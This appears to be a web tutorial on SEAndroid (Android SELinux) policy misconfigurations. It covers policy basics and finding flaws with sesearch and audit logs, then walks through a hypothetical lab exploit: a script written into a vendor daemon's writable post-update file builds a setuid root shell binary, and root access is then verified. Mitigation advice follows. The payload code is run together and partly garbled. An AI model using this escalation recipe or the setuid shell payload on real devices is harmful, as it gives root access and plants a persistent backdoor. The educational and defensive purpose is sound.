Introduction to SEAndroid and Its Critical Role
Security-Enhanced Android (SEAndroid) is a mandatory access control (MAC) system integrated into the Android operating system, built upon the Linux Security Modules (LSM) framework and SELinux policies. Its primary purpose is to restrict processes, apps, and system components to the minimum set of privileges required for their operation, thereby creating robust isolation and limiting the blast radius of vulnerabilities. Unlike traditional discretionary access control (DAC) where permissions are based on user/group IDs, SEAndroid enforces policies based on security contexts (labels) assigned to every file, process, and IPC object. Even if a process runs as root, SEAndroid can still prevent it from performing unauthorized actions, making it a formidable security barrier.
However, the strength of SEAndroid lies entirely in the correctness and completeness of its policy. Any misconfiguration – an overly permissive rule, an incorrect context label, or an unintended domain transition – can create exploitable pathways for attackers to escalate privileges, bypass sandboxes, and ultimately achieve root access. This tutorial delves into identifying and exploiting such misconfigurations, providing a hands-on understanding of how to leverage policy flaws for privilege escalation on modern Android devices.
Prerequisites for This Lab
- An Android device with root access for experimentation (e.g., a rooted Pixel, an emulator with root, or a custom AOSP build with debugging enabled).
- Basic familiarity with Android Debug Bridge (ADB).
- Understanding of basic Linux commands and file systems.
- Knowledge of SELinux concepts (domains, types, rules) is beneficial but not strictly required.
- A development environment with `adb`, `audit2allow`, `sesearch` (part of `sepolicy-inject` tools or AOSP source).
Understanding SEAndroid Policy Fundamentals
SEAndroid policies define how processes (domains) can interact with resources (types). Every file, directory, process, and IPC object on an Android system has a security context, typically represented as `user:role:type:level`. For instance, an application might run in the `untrusted_app_domain`, accessing files labeled `app_data_file`. Policy rules, defined in files like `sepolicy`, `file_contexts`, and `service_contexts`, dictate what `untrusted_app_domain` can do to `app_data_file` or other types.
Key concepts:
- Domains: Security contexts for processes. E.g., `init`, `system_server`, `untrusted_app_domain`.
- Types: Security contexts for objects (files, sockets, IPCs). E.g., `system_file`, `app_data_file`, `device`.
- Classes: Categories of objects, like `file`, `dir`, `socket`, `service`.
- Permissions: Specific actions within a class, like `read`, `write`, `execute`, `bind`, `connect`.
- Rules: Define allowed interactions. E.g., `allow source_domain target_type:class permissions;`
Identifying SEAndroid Misconfigurations
The first step in exploitation is often reconnaissance. Misconfigurations can manifest in various ways, but they generally involve a low-privileged domain being allowed to perform an action on a high-privileged resource or being able to transition into a more privileged domain. Common tools and methods for discovery include:
1. Analyzing Audit Logs (AVC Denials)
When an SEAndroid policy denies an action, it often logs an ‘Access Vector Cache’ (AVC) denial to the kernel’s audit log. While these typically indicate successful policy enforcement, sometimes an expected denial isn’t there, or a series of denials point to a policy that’s *almost* correct but has a subtle flaw.
adb shell su -c 'cat /sys/fs/selinux/audit_queue/audit_log'
Or, for a continuous stream:
adb logcat -b all | grep 'avc: denied'
2. Policy Inspection with `sesearch`
`sesearch` is an invaluable tool for querying the compiled SEAndroid policy. It allows you to search for specific `allow` rules, domain transitions, and object permissions.
- Listing all allows for a domain:
sesearch -A -s untrusted_app_domain - Checking if a domain can write to a specific file type:
sesearch -A -s untrusted_app_domain -t system_file -c file -p write - Finding domain transitions:
sesearch -T -s untrusted_app_domain
3. Examining `file_contexts`
`file_contexts` defines the default SELinux labels for files and directories. Incorrectly labeling a sensitive file with a common type (e.g., `app_data_file`) can make it accessible to untrusted applications.
adb pull /sepolicy/file_contexts ./
Common Types of SEAndroid Policy Bypass Scenarios
While specific vulnerabilities vary, most SEAndroid bypasses fall into a few categories:
1. Overly Permissive File Access
A low-privileged domain is allowed to write, execute, or create files in a location that is later read or executed by a higher-privileged domain. For example, `untrusted_app_domain` might be allowed to write to a configuration directory that `system_server` reads, or place a script in a location that `init` executes.
2. Binder IPC Misconfigurations
Binder is Android’s primary IPC mechanism. If a low-privileged domain is allowed to call a sensitive Binder service method that lacks internal permission checks or has a vulnerability, it can lead to privilege escalation.
3. Domain Transition Flaws
Policy might allow a low-privileged domain to transition to a higher-privileged domain under certain conditions, which can be manipulated. For example, `untrusted_app_domain` might be allowed to `exec` a `setuid` binary that then runs in a more privileged context if the policy for that transition is weak.
4. Property Service Misconfigurations
Android’s property service allows setting system-wide properties. If a low-privileged domain can set a critical property that influences system behavior or triggers a privileged action (e.g., restarting a service with different parameters, enabling a debug mode), it can be exploited.
Exploitation Walkthrough: Leveraging a File Write Misconfiguration
Let’s consider a hypothetical but realistic scenario. A device manufacturer has introduced a custom daemon, `my_crit_daemon`, which runs in the `my_daemon_domain` SELinux context. This daemon is responsible for processing system updates and, as part of its startup, it checks for and executes a post-update script located at `/data/vendor_scripts/post_update.sh`. Due to an oversight in the SEAndroid policy, the `untrusted_app_domain` is mistakenly allowed to write to this specific file.
Step 1: Discovering the Misconfiguration
As an attacker, we would first try to write to common sensitive locations from an untrusted app or shell. If an AVC denial occurs, we note it. If not, we found a potential flaw. Using `sesearch`, we might confirm this:
adb shell su -c 'sesearch -A -s untrusted_app_domain -t my_vendor_script_file -c file -p write'
Suppose this command returns a positive match, indicating that `untrusted_app_domain` has `write` permission on files labeled `my_vendor_script_file` (which `/data/vendor_scripts/post_update.sh` is incorrectly labeled as). For this example, let’s assume `my_vendor_script_file` is defined in `file_contexts` to apply to `/data/vendor_scripts/post_update.sh`.
# Example file_contexts entry (hypothetical misconfiguration)my_vendor_script_file u:object_r:my_vendor_script_file:s0/data/vendor_scripts/post_update.sh
Step 2: Crafting the Malicious Payload
Our goal is to achieve root. We’ll create a simple shell script that adds a new `setuid` root binary, allowing us to gain root privileges at any time.
#!/system/bin/sh# Create a simple C program that executes /system/bin/sh with root privsacat > /data/local/tmp/rootshell.c << EOF#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>int main() { setuid(0); setgid(0); execl("/system/bin/sh", "sh", NULL); return 0;}EOF# Compile the C programcc -o /data/local/tmp/rootshell /data/local/tmp/rootshell.c# Set ownership and permissions for setuid rootchmod 4755 /data/local/tmp/rootshellchown 0:0 /data/local/tmp/rootshell# Optional: Cleanup source file and compilerrm /data/local/tmp/rootshell.crm /data/local/tmp/rootshell.c
Step 3: Deploying the Payload
We need to place this malicious script into `/data/vendor_scripts/post_update.sh` using the allowed write permission from our untrusted app context. We can simulate this using `adb push` into `/data/local/tmp` and then `adb shell` with `su` to move it if `untrusted_app_domain` allows writing to `/data/vendor_scripts`. However, for a *true* untrusted app exploit, the app itself would write this. For this lab, we’ll use `su` but imagine the app’s UID having the necessary permission.
# Create the malicious script locallyecho '#!/system/bin/sh' > exploit.shecho 'cat > /data/local/tmp/rootshell.c <> exploit.shecho '#include ' >> exploit.shecho '#include ' >> exploit.shecho '#include '#include '#include ' >> exploit.shecho 'int main() {' >> exploit.shecho ' setuid(0);' >> exploit.shecho ' setgid(0);' >> exploit.shecho ' execl("/system/bin/sh", "sh", NULL);' >> exploit.shecho ' return 0;' >> exploit.shecho '}' >> exploit.shecho 'EOF' >> exploit.shecho 'cc -o /data/local/tmp/rootshell /data/local/tmp/rootshell.c' >> exploit.shecho 'chmod 4755 /data/local/tmp/rootshell' >> exploit.shecho 'chown 0:0 /data/local/tmp/rootshell' >> exploit.shecho 'rm /data/local/tmp/rootshell.c' >> exploit.shecho 'rm /data/local/tmp/rootshell.c' >> exploit.shecho '' >> exploit.sh# Push the script to a temporary location on the deviceadb push exploit.sh /data/local/tmp/# Now, simulating the untrusted_app_domain writing to the target file.If the untrusted app had the write permission, it would do this directly.# Assuming our shell is in a context that can write to /data/vendor_scripts/post_update.sh for the demo.adb shell su -c 'mv /data/local/tmp/exploit.sh /data/vendor_scripts/post_update.sh'adb shell su -c 'chmod 755 /data/vendor_scripts/post_update.sh'
Crucially, after writing, ensure the SELinux context of the script remains `my_vendor_script_file` or whatever `my_crit_daemon` expects to execute. The `mv` command typically preserves the original target’s context if the policy allows. If not, `restorecon` might be needed, which `untrusted_app_domain` typically cannot do.
adb shell su -c 'ls -Z /data/vendor_scripts/post_update.sh'# Expected output: u:object_r:my_vendor_script_file:s0 /data/vendor_scripts/post_update.sh
Step 4: Triggering the Exploit
The `my_crit_daemon` needs to execute `post_update.sh`. This might happen on reboot, on a service restart, or by triggering a specific event in the system. For demonstration purposes, we’ll assume a reboot is necessary.
adb reboot
After the device reboots, `my_crit_daemon` would execute `/data/vendor_scripts/post_update.sh`, which in turn creates our `rootshell` binary.
Step 5: Verifying Root Access
Once the device is back online, connect via ADB and attempt to execute the created `rootshell` binary:
adb shell/data/local/tmp/rootshell
If successful, your shell prompt should change (e.g., from `$` to `#`), and `id` command should show `uid=0(root) gid=0(root)`.
# iduid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(system) context=u:r:su:s0
Congratulations! You have successfully exploited an SEAndroid misconfiguration to gain root access.
Mitigation Strategies
Preventing such misconfigurations requires rigorous policy design and auditing:
- Principle of Least Privilege: Grant only the absolute minimum permissions required for any domain or resource.
- Automated Policy Analysis: Use tools like `sepolicy-analyze` to identify overly broad rules, domain transitions, and potential vulnerabilities.
- Regular Auditing: Continuously monitor `audit.log` for unexpected AVC denials or lack thereof. Regularly review policy changes.
- Strict File Contexts: Ensure sensitive system files and directories are correctly labeled and protected from lower-privileged domains.
- Input Validation: Critical system services handling external input (e.g., configuration files) must perform robust input validation, independent of SELinux, to prevent command injection or path traversal.
Conclusion
SEAndroid is a cornerstone of modern Android security, providing a powerful layer of defense against privilege escalation. However, its effectiveness is entirely dependent on a correctly implemented and thoroughly vetted policy. As demonstrated in this lab, even a seemingly minor misconfiguration – such as an unintended write permission to a critical file – can create a pathway for an attacker to bypass the system’s security mechanisms and achieve full root access. Understanding these vulnerabilities and the tools to identify them is crucial for both offensive security researchers and developers striving to build more secure Android systems.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →